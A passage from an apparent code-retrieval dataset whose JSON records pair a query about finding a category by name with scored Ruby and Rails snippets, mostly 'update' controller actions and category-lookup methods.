"text": "def update\n respond_to do |format|\n if @v1_user.update(v1_user_params)\n format.html { redirect_to @v1_user, notice: 'User was successfully updated.' }\n format.json { render :show, status: :ok, location: @v1_user }\n else\n format.html { render :edit }\n format.json { render json: @v1_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "0df19676c7bc4da905ce423b3a17f004",
"score": "0.63945407",
"text": "def update\n if @user.update(user_params)\n render json: @user, status: :ok\n else\n render json: @user.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "5cecaa42766c3b0df0bb1893bca77e5c",
"score": "0.6390761",
"text": "def update\n @user = User.find(params[:id])\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, :notice => t('user.update_success') }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status=> :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3a5350756037d5278aacd496c179f5be",
"score": "0.63903916",
"text": "def update\n @user.update(user_params_update)\n json_response(@user)\n end",
"title": ""
},
{
"docid": "2bfd1130a15a2ad00416fb3b36a72806",
"score": "0.63876307",
"text": "def update\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to users_path }\n format.json { render :json => @user }\n else\n format.html { render :edit }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "68d2298f01afa609daa2a190be0e74bf",
"score": "0.6383881",
"text": "def update\n @user = selected_user\n if @user.update(users_params)\n render 'api/users/show'\n else\n render json: @user.errors.full_messages, status: 422\n end\n end",
"title": ""
},
{
"docid": "d98f87967f7e3ddac219a9176c558b41",
"score": "0.63834596",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user.as_json(user: current_user), notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1ed28b0ff9f9df591a9d247395404506",
"score": "0.63829523",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a9cbe4984ff1cc7c200da5c8ead52aaf",
"score": "0.6382388",
"text": "def update\n @user = User.find(params[:id])\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.json { head :ok }\n else\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7c4a945d04f869ab79343c1d2c2b65bd",
"score": "0.63776475",
"text": "def update\n respond_to do |format|\n if @user.update(user_params)\n format.html { redirect_to root_path}\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "03a397113daf14c04f75d28237539686",
"score": "0.63752687",
"text": "def update\n @user = V1::User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n flash[:notice] = 'V1::User was successfully updated.'\n format.html { redirect_to(@user) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "80ba9267621b436c07ba89074cd3d99b",
"score": "0.6374351",
"text": "def update \n user = User.where(:id => current_user.user)\n if user.update(user_params)\n render :json => {:user => user }\n else\n render :json => {:error => user.errors.full_messages.first}\n end\nend",
"title": ""
},
{
"docid": "a07e54b88d6350f77a698b6a706b1572",
"score": "0.63735604",
"text": "def update\n\t\tif @user.update(user_params)\n\t\t\trender json: @user\n\t\telse\n\t\t\trender json: @user.errors, status: :unprocessable_entity\n\t\tend\n\tend",
"title": ""
},
{
"docid": "65edc1b69eaf527dec1888a285681b23",
"score": "0.6373269",
"text": "def update\n @user = User.find(params[:id])\n \n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, :notice => 'User was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bfb61905d40618cc4a2b0495155c536f",
"score": "0.6370833",
"text": "def update(id, params = {})\n request(:put, \"/users/#{id}\", body: params)\n end",
"title": ""
},
{
"docid": "9fd0a8bafea090f0460efed9a3396429",
"score": "0.6363397",
"text": "def update\n @user = current_api_user\n unless @user.update(user_params)\n render json: { error: @user.errors.full_messages.to_sentence }, status: :not_found\n end\n end",
"title": ""
},
{
"docid": "719d0ba597d74b9c30467d7ca0ba8bab",
"score": "0.63607967",
"text": "def update\n # not_found unless @user\n # @user = User.get(params[:id]) || not_found\n\n respond_to do |format|\n if @user.update(params[:user])\n format.html { redirect_to @user, :notice => 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @user.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f6310222728d50ffc764de27af71c873",
"score": "0.6360649",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, :notice => \"This user was successfully updated!\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "990320f75f3d46617d77f33d4018db02",
"score": "0.6356513",
"text": "def update\n user = User.find(params[:id])\n if user.update(user_params)\n render json: {\n status: 'OK',\n msg: 'User details have been updated.',\n error: 'nil'\n }, status: :accepted\n else\n not_good(406)\n end\n end",
"title": ""
},
{
"docid": "a8d711fdc592b9fe12b7d53b837bb4ff",
"score": "0.6356091",
"text": "def update\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: I18n.t(:users_update) }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "90c968198cec981eb02d8ceb550f1d0d",
"score": "0.6350332",
"text": "def update\n @user = ::User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e293d17d815d3dc3960cb3d6901ff340",
"score": "0.6342926",
"text": "def update\n @todo = Todo.find(params[:todo][:id])\n if @todo.update_attributes(user_params)\n render json: @todo\n else\n render nothing: true, status: :bad_request\n end\n end",
"title": ""
},
{
"docid": "8714b858756d073b883c1bae2754558c",
"score": "0.6334242",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to user_path(@user), notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a2fbff7cdb807e9591d0b4c94aa42fb8",
"score": "0.6333647",
"text": "def update \n @current_user.update(user_params)\n render json: @current_user\n end",
"title": ""
},
{
"docid": "dbc102a1434c82577e0d85f3217c54e5",
"score": "0.6328633",
"text": "def update\n @user = User.find(params[:id])\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b0b28249bcc19b8c72959481fe71a4c3",
"score": "0.6327188",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b0b28249bcc19b8c72959481fe71a4c3",
"score": "0.6327188",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b0b28249bcc19b8c72959481fe71a4c3",
"score": "0.6327188",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b0b28249bcc19b8c72959481fe71a4c3",
"score": "0.6327188",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b0b28249bcc19b8c72959481fe71a4c3",
"score": "0.6327188",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b0b28249bcc19b8c72959481fe71a4c3",
"score": "0.6327188",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b0b28249bcc19b8c72959481fe71a4c3",
"score": "0.6327188",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b0b28249bcc19b8c72959481fe71a4c3",
"score": "0.6327188",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b0b28249bcc19b8c72959481fe71a4c3",
"score": "0.6327188",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b0b28249bcc19b8c72959481fe71a4c3",
"score": "0.6327188",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b0b28249bcc19b8c72959481fe71a4c3",
"score": "0.6327188",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b0b28249bcc19b8c72959481fe71a4c3",
"score": "0.6327188",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b0b28249bcc19b8c72959481fe71a4c3",
"score": "0.6327188",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b0b28249bcc19b8c72959481fe71a4c3",
"score": "0.6327188",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b0b28249bcc19b8c72959481fe71a4c3",
"score": "0.6327188",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b0b28249bcc19b8c72959481fe71a4c3",
"score": "0.6327188",
"text": "def update\n @user = User.find(params[:id])\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to @user, notice: 'User was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
9753d4fd56f3112b75d86e0f0510fed2 | Finds the category with the given name. Returns nil if not found. | [
{
"docid": "b43ec4540aac4db444b84953f994e9b8",
"score": "0.64484495",
"text": "def retrieve(name)\n pid = 0\n category = nil\n name.split(UseLog::SEPARATOR).each do |subcat|\n catname = subcat[0..49]\n category = UseLog.find(:first, :conditions => [\"name = :name and parent_id = :pid\", {:name => catname, :pid => pid}])\n\n return nil if category.nil?\n pid = category[:id]\n end\n\n category\n end",
"title": ""
}
] | [
{
"docid": "a61738f256c0870b1428da75bd9249b3",
"score": "0.82757187",
"text": "def category(name)\n @categories.find { |c| c.name == name}\n end",
"title": ""
},
{
"docid": "4d8772a5cc496953b88e6886d56387d3",
"score": "0.8065372",
"text": "def find_category(category_name, options = {})\n categories = self.categories\n if categories.is_a?(Array)\n categories.detect { |c| c['name'] == category_name }\n else\n raise \"Could not retrieve categories: #{categories}\"\n end\n end",
"title": ""
},
{
"docid": "7a94cea3682d0990a2e39d3e583f4b18",
"score": "0.7344132",
"text": "def category_with_name(name)\n categorized_items = categories_items\n categorized_items.detect{ |sub_item_array| sub_item_array[0].name == name }\n end",
"title": ""
},
{
"docid": "f078c51b00680ac3d94ad346552fc0fe",
"score": "0.7163618",
"text": "def find_category(specified_category)\n if specified_category.is_a?(String) || specified_category.is_a?(Symbol)\n Category.find_by_name(specified_category)\n else\n Category.find_by_id(category_id)\n end\n end",
"title": ""
},
{
"docid": "a01389f0ebdfb3a96fbd800a4121dc59",
"score": "0.7047811",
"text": "def find_or_create_category(name)\n Category.find_or_create_by(name: name)\n end",
"title": ""
},
{
"docid": "5ed4dfbe98f81f33e99e198e6660eae6",
"score": "0.68376833",
"text": "def find_category(cate_id)\n category = Category.find_by(id: cate_id).name\n end",
"title": ""
},
{
"docid": "4031c36795b8563d4cf746a185b2d85e",
"score": "0.6543303",
"text": "def category(id)\n categories.select do |category|\n category.id == id\n end.first\n end",
"title": ""
},
{
"docid": "bf1b1e3ab3ef68c2f1932426af03183a",
"score": "0.65354013",
"text": "def find_by_name(name)\n for item in self.collection\n return item if item.name == name\n end\n\n # didn't find item in collection, return nil\n return nil\n end",
"title": ""
},
{
"docid": "301f4b64eca170c121704ea254c36a93",
"score": "0.64982104",
"text": "def has_category?(name)\n categories.exists?(name: name)\n end",
"title": ""
},
{
"docid": "3ae6fede15284a6a9bed896d9e635fe1",
"score": "0.64650464",
"text": "def find_by_name(name)\n find_by('name', name)\n end",
"title": ""
},
{
"docid": "8e454821f24063a984609789881afd1f",
"score": "0.6438011",
"text": "def find(name)\n m = match(name)\n m.count == 1 ? m[0] : nil\n end",
"title": ""
},
{
"docid": "dd6a031e3d861f54402af04cd18cbaf5",
"score": "0.63950235",
"text": "def find_or_create_category(category_name, options={ })\n find_category(category_name, options) || begin\n post_category(category_name, options={ })\n end\n end",
"title": ""
},
{
"docid": "aa9e0ea350137941b6945661fa4f138c",
"score": "0.63023156",
"text": "def find_by_path_or_id!(path, id)\n category = find_by_path_or_id(path, id)\n\n raise ActiveRecord::RecordNotFound unless category\n\n category\n end",
"title": ""
},
{
"docid": "aa9e0ea350137941b6945661fa4f138c",
"score": "0.63023156",
"text": "def find_by_path_or_id!(path, id)\n category = find_by_path_or_id(path, id)\n\n raise ActiveRecord::RecordNotFound unless category\n\n category\n end",
"title": ""
},
{
"docid": "097175eac4d7f48bb988381f11bd9f23",
"score": "0.6285204",
"text": "def category()\n sql = \"SELECT * FROM categories WHERE id = $1 ORDER BY name;\"\n values = [@category_id]\n sql_result = SqlRunner.run(sql, values)\n return Category.new(sql_result[0])\n end",
"title": ""
},
{
"docid": "a7c4e30795a2c051d0d91c6fb481720a",
"score": "0.62750363",
"text": "def find_by_name(name)\n return nil unless name.present?\n names.select {|e| e == name}\n end",
"title": ""
},
{
"docid": "5ab27aba42eae9163ea34ac052d3708f",
"score": "0.6244762",
"text": "def category\n @category ||=\n if category_param\n current_course.assessment_categories.find(category_param)\n else\n current_course.assessment_categories.first!\n end\n end",
"title": ""
},
{
"docid": "27f03059a086169bf4ac386a0d0c0b7f",
"score": "0.6233281",
"text": "def get_category(category)\n CATEGORIES[category.downcase]\n end",
"title": ""
},
{
"docid": "72a658ad744d014fe3342442e1ccc06a",
"score": "0.61806977",
"text": "def find(category_id)\n response, status = BeyondApi::Request.get(@session, \"/categories/#{category_id}\")\n\n handle_response(response, status)\n end",
"title": ""
},
{
"docid": "23839973d81de1c3a44e862f585d56ae",
"score": "0.61369336",
"text": "def find_category\n @category = Category.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n flash[:alert] = \"The category you were looking for could not be found.\"\n redirect_to categories_path\n end",
"title": ""
},
{
"docid": "4ee1bb442732e4b81de1c6e2287267e9",
"score": "0.6129305",
"text": "def category(rel_path)\n find_category based_on_root rel_path\n end",
"title": ""
},
{
"docid": "f368c3c8d9a88fbdf11aa5ac4969b5f8",
"score": "0.60891193",
"text": "def get_category(cookbook_name)\n # Use Artifactory deployment logic only if flag sent by Artifactory plugin\n unless config[:artifactory_deploy]\n Chef::Log.debug('[KNIFE-ART] ArtifactoryShare::get_category called without artifactory flag, delegating to super')\n return orig_get_category(cookbook_name)\n end\n begin\n data = noauth_rest.get(\"#{config[:supermarket_site]}/api/v1/cookbooks/#{@name_args[0]}\")\n if data.nil?\n return data[\"category\"]\n else\n return 'Other'\n end\n rescue => e\n return \"Other\" if e.kind_of?(Net::HTTPServerException) && e.response.code == \"404\"\n ui.fatal(\"Unable to reach Supermarket: #{e.message}. Increase log verbosity (-VV) for more information.\")\n Chef::Log.debug(\"\\n#{e.backtrace.join(\"\\n\")}\")\n exit(1)\n end\n\n end",
"title": ""
},
{
"docid": "9ac2a04fb22bdb8823403e5ba3121911",
"score": "0.6057958",
"text": "def get_category_name(id)\n return db_connection().execute('SELECT name FROM categories WHERE id=?', id).first\n end",
"title": ""
},
{
"docid": "0c872371a650f0b89214c535c574fb2d",
"score": "0.6022001",
"text": "def clickCategory(name)\n @mechanize.click(@categories[name].elem)\n return NiwaTextream::CategoryPage.new(@mechanize)\n end",
"title": ""
},
{
"docid": "0d127415d47b2ced6c5f7a0b70f2ebd0",
"score": "0.6014588",
"text": "def category_name=(name)\n self.category = Category.find_or_create_by(name: name)\n end",
"title": ""
},
{
"docid": "56d10198481012ce9b4588e696c6e074",
"score": "0.60136855",
"text": "def compare_catetegory category_name\n condition=\"%#{category_name}%\"\n category=Category.where(\"name like ? \",condition).first\n if category.nil?\n category=Category.create name:category_name\n end\n return category\n end",
"title": ""
},
{
"docid": "e34188bcc0137f7ebbd60f1a0cb87758",
"score": "0.6010583",
"text": "def []( name )\n\t\t\t@categories.assoc(name)[1]\n\t\tend",
"title": ""
},
{
"docid": "16ebe982f94bd3605cc1fb6dca21e72f",
"score": "0.5995796",
"text": "def category_name\n category.try(:name)\n end",
"title": ""
},
{
"docid": "ba972d2983e7117f6a5b8f7e60d47cf5",
"score": "0.59503984",
"text": "def category\n client.categories.find(data[\"categoryId\"])\n end",
"title": ""
},
{
"docid": "86019c3d93e69c6816d05e6230817693",
"score": "0.59413177",
"text": "def find_by_name(name)\n end",
"title": ""
},
{
"docid": "b86e70f1b55bcc1b1fa7fa2ec2a51a52",
"score": "0.59222543",
"text": "def product_category\n product_categories.first\n rescue\n nil\n end",
"title": ""
},
{
"docid": "6d92fc6e382a445b9635f738ce5c1e40",
"score": "0.5918167",
"text": "def category_path_by_name(category)\n category = category.to_sym\n\n return CATEGORIES[category][:path] if CATEGORIES.keys.include?(category)\n\n CATEGORIES.each do |k, v|\n if v[:children] && v[:children].keys.include?(category)\n return v[:children][category]\n end\n end\n\n false\n end",
"title": ""
},
{
"docid": "53f9c75c47a70fbee1885b6ddf05d203",
"score": "0.5912689",
"text": "def find_category_from_id\n @category = GlossaryCategory.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n render_404\n end",
"title": ""
},
{
"docid": "ca29a9f4a303c07654ff1082343e44f8",
"score": "0.5885373",
"text": "def find_category\n @category = Category.find(params[:category_id])\n end",
"title": ""
},
{
"docid": "f65cefaf02396ed89538353b1b0fc996",
"score": "0.5869112",
"text": "def category category_id\n perform_get_with_object(\"/categories/#{category_id}\", {}, Vimeo::Entities::Category)\n end",
"title": ""
},
{
"docid": "8237a75d8611df8fb503cc71559460a7",
"score": "0.5857245",
"text": "def find(name)\n\t\t\tif @table.has_key?(name)\n\t\t\t\treturn @table[name]\n\t\t\telsif @parent.nil?\n\t\t\t\treturn nil\n\t\t\telse\n\t\t\t\t@parent.find(name)\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "12783c137d9809e3bf45e1db7c8faa26",
"score": "0.58510625",
"text": "def get_category_name\n Category.find(:first, :select => ['name'],:conditions=>['has_complexity=?',false]).name rescue ''\n end",
"title": ""
},
{
"docid": "11e502741a12c7f988cad769438b82f5",
"score": "0.58423364",
"text": "def find_forum(category_name, forum_name, options = {})\n category = self.find_category(category_name, options)\n if category\n self.forums.detect {|f| f['category_id'] == category['id'] && f['name'] == forum_name }\n end\n end",
"title": ""
},
{
"docid": "dd0fd54b23472ba0430ed36bfa22198e",
"score": "0.58252305",
"text": "def category\n category_id = self.category_id;\n\n if (category_id)\n puts(\"Category ID found in time_record: \" + category_id.to_s);\n\n category = Category.find_by_id(category_id);\n\n if (category)\n puts(\"Category OBJECT found in quota: category: \" + category.name);\n return category\n else\n puts(\"Category OBJECT NOT found in quota: category_id: \" + category_id.to_s);\n return nil\n end\n\n else\n return nil\n end\n end",
"title": ""
},
{
"docid": "094fa59fcabbe27ff9c2f1b71afe5afa",
"score": "0.5823139",
"text": "def category(id = nil)\n res = Connection.get('categories', id)\n id.nil? ? Category.all(res) : Category.new(res)\n end",
"title": ""
},
{
"docid": "58fcb0905f3dfdf69b1e6a6b5daf529c",
"score": "0.5821553",
"text": "def get_category_name(category)\n cat = get_category(category)\n cat.nil? ? nil : cat[:name]\n end",
"title": ""
},
{
"docid": "9226051588b2f615dfb0c5604e909aed",
"score": "0.58081007",
"text": "def category(category_code)\n categories.find { |category| category.category_code == category_code }\n end",
"title": ""
},
{
"docid": "a078959267cf9284aaea5231b4df83f5",
"score": "0.57621264",
"text": "def get_category(code)\n response = execute_get(\"/reference/category/\" + code)\n Category.from_hash(decode(response)[0])\n end",
"title": ""
},
{
"docid": "704005902c5a76f69af8ca642d236fe6",
"score": "0.5744648",
"text": "def get_by_location(location)\n raise \"Cannot do a look-up with a blank location!\" if location.blank?\n self.categories.select { |category| category.location == instance2cat(location) }.first\n end",
"title": ""
},
{
"docid": "4949a10e30e5d9a734dda52bd4a39ab4",
"score": "0.5736262",
"text": "def category_name \n self.category ? self.category.name : nil\n end",
"title": ""
},
{
"docid": "52c4af210d22cdbde6386b4f0c40b3ef",
"score": "0.5732883",
"text": "def find name\n object = objects.find { |o| o.name == name.to_s }\n end",
"title": ""
},
{
"docid": "5428ff6400e94bfc0ea0ed50d95db06a",
"score": "0.5720117",
"text": "def find_by_name(name)\n Discovery.find_by_name(name)\n end",
"title": ""
},
{
"docid": "693f52d557d089f2f18e255142ed994b",
"score": "0.57001454",
"text": "def category\n # only returns first category currently\n if self.categories.empty?\n 1\n else\n self.categories[0] unless self.categories.empty?\n end\n end",
"title": ""
},
{
"docid": "1599ab6a5b00045b74d80573d3ce7d89",
"score": "0.569505",
"text": "def _category\n @_category ||= if category\n category\n elsif special_category\n special_category\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "bb6d3071d2951076375071710d5983af",
"score": "0.5669171",
"text": "def category_name\n category = Category.find_by_id(self.category_id)\n return category.name\n end",
"title": ""
},
{
"docid": "244b4a577741f052ddbb1ee610b028e7",
"score": "0.5653064",
"text": "def find_by_path_or_id(path, id)\n Categories::Finder.by_path_or_id(path, id)\n end",
"title": ""
},
{
"docid": "b0ece0b1b0653773ef0861d030518f13",
"score": "0.56287664",
"text": "def find_by_name(name)\n domain_record = finder(:select => [:id, :name], :conditions => {:name => name})\n return nil if domain_record.nil?\n\n new(domain_record)\n end",
"title": ""
},
{
"docid": "68ed303747ba18012361a4c31ac151ab",
"score": "0.5626298",
"text": "def get_category id\n\t\traw_output = @fred.category( nil, category_id: id.to_s )\n\n\t\traw_output.categories.category\n\tend",
"title": ""
},
{
"docid": "b0b679ef30daafa268dd4098ea219d09",
"score": "0.5625505",
"text": "def get_category_info\n category = self.category_id\n return Category.find_by_id(category)\n end",
"title": ""
},
{
"docid": "bd4301e3755c134d29646b54153d0e15",
"score": "0.5616137",
"text": "def find_by_name(name)\n # this works because of `def item.=='\n item = @set.find { |c| c == name }\n item\n end",
"title": ""
},
{
"docid": "eac21f0c65d5d936a4b4b95a65c51e3a",
"score": "0.5615863",
"text": "def category_name\r\n category.name.titleize rescue nil\r\n end",
"title": ""
},
{
"docid": "a6f36a9172a6ea76261e04cef06088fe",
"score": "0.5603616",
"text": "def category( index )\n\t\t\tid = 0\n\t\t\t@categories.each_with_index do |(name, count_or_calc), i|\n\t\t\t\tnext unless count_or_calc.is_a?(Numeric)\n\t\t\t\tid += 1\n\t\t\t\treturn @categories[i][0] if id == index\n\t\t\tend\n\n\t\t\traise ArgumentError, \"Invalid category.\"\n\t\tend",
"title": ""
},
{
"docid": "a7d375aa3e356b62175b0a681aac44a7",
"score": "0.5602291",
"text": "def find(name)\n list[name]\n end",
"title": ""
},
{
"docid": "f94b9104da65960ca5f4f0bc10c8c19b",
"score": "0.55850995",
"text": "def category_selection(category)\n category = Public_apis.find_by_name(category)\n #goes over list item array . find method to find item\n\n \n end",
"title": ""
},
{
"docid": "17026061e12115c5b811c6751c35408c",
"score": "0.5580618",
"text": "def find_definition_uid_via_category(name)\n begin\n cat=AMEE::Data::Category.get(amee,\"/data#{category(target)}\")\n rescue AMEE::NotFound, AMEEM::Exceptions::Location => err\n verbose \"While looking for category to get itemdef #{err}\",Log4r::DEBUG\n end\n if cat&&cat.itemdef&&cat.item_definition.name==name\n verbose \"Found item definition via category\",Log4r::INFO\n return cat.itemdef\n else\n return nil\n end\n end",
"title": ""
},
{
"docid": "eff4a5f90b6c62d2f844e97518f1c413",
"score": "0.55788666",
"text": "def find(name, options = {})\n config = Resource::System.configuration(options)\n find_from_config(\"config/repoLayouts/repoLayout/name[text()='#{name}']\", config, options)\n rescue Error::HTTPError => e\n raise unless e.code == 404\n\n nil\n end",
"title": ""
},
{
"docid": "e84a6ca6a6e49b2e0ca9a972290f3a5b",
"score": "0.55751",
"text": "def by_title(title)\n Categories::Finder.by_title(title)\n end",
"title": ""
},
{
"docid": "7252837e11b79b56e34570edda4eedd7",
"score": "0.5572297",
"text": "def find_by_path_or_id(path, id)\n Products::Categories::Finder.by_path_or_id(path, id)\n end",
"title": ""
},
{
"docid": "bab3241f6e267e3ff50899190aef98b3",
"score": "0.55687696",
"text": "def category_name\n category.name\n end",
"title": ""
},
{
"docid": "5e354bbaad5f2f2e08ba0b1406e1e632",
"score": "0.5566791",
"text": "def find(name)\n domains = list(100)\n index = domains.index(name)\n domains[index] unless index.nil?\n end",
"title": ""
},
{
"docid": "3e51536fe07f5df79b44bbf2e0aae873",
"score": "0.5566167",
"text": "def category_name\n category.name if category\n end",
"title": ""
},
{
"docid": "44f0d363df7b182909ee19e583b685ff",
"score": "0.556363",
"text": "def find(name, options = {})\n config = Resource::System.configuration(options)\n find_from_config(\"config/repoLayouts/repoLayout/name[text()='#{name}']\", config, options)\n rescue Error::HTTPError => e\n raise unless e.code == 404\n nil\n end",
"title": ""
},
{
"docid": "d07e2097f651d50922d75d6a8bbc4a18",
"score": "0.5553963",
"text": "def find(name)\n connection_exists?(name) ? @connections[name] : nil\n end",
"title": ""
},
{
